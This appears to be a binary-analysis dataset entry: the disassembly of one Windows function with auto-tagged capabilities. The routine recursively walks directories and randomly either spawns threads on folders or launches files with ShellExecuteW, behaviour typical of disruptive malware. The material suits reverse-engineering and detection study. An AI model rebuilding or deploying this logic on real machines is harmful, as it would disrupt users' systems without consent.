Function at 0x1400063d0
Capabilities:
Create process on windows
Create thread
Enumerate files on windows
Enumerate files recursively
Generate random numbers via winapi
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
mov rbx, rcx
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140006410
cmp word [rcx + rax*2 - 2], 0x5c
je 0x14000644f
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140006430
cmp rax, 0x104
jae 0x14000644f
lea rdx, [0x14001ee4c]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x208
call fcn.1400157b0
mov rdx, rbx
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14001ee50]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400066a2
mov qword [rsp + 0x6d8], rsi
xor esi, esi
lea rdx, [0x14001ee58]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x14000667b
lea rdx, [0x14001ee5c]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x14000667b
test dword [rsp + 0x40], 0x400
jne 0x14000667b
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call fcn.1400157b0
mov rdx, rbx
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x6c]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
test byte [rsp + 0x40], 0x10
je 0x140006554
lea rdx, [0x14001ee4c]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x190]
call fcn.1400063d0
jmp 0x14000667b
mov rcx, qword [0x140024cb0]
test rcx, rcx
jne 0x14000658d
lea r9d, [rcx + 1]
mov dword [rsp + 0x20], 0xf0000040
lea rcx, [0x140024cb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400066c6
mov rcx, qword [0x140024cb0]
lea r8, [rsp + 0x30]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test byte [rsp + 0x30], 1
jne 0x1400065fa
lea rcx, [rbp + 0x190]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], si
jne 0x1400065b2
cmp rax, 0x104
jae 0x1400065fa
lea rdx, [0x14001ee4c]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r9, [rbp + 0x190]
mov qword [rsp + 0x28], rsi
lea r8, [0x140006360]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x140006670
mov rcx, qword [0x140024cb0]
test rcx, rcx
jne 0x140006633
lea r9d, [rcx + 1]
mov dword [rsp + 0x20], 0xf0000040
lea rcx, [0x140024cb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400066d2
mov rcx, qword [0x140024cb0]
lea r8, [rsp + 0x34]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test byte [rsp + 0x34], 1
jne 0x14000667b
mov dword [rsp + 0x28], 5
lea r8, [rbp + 0x190]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400064b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rsi, qword [rsp + 0x6d8]
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.1400067a0
lea r11, [rsp + 0x6c0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]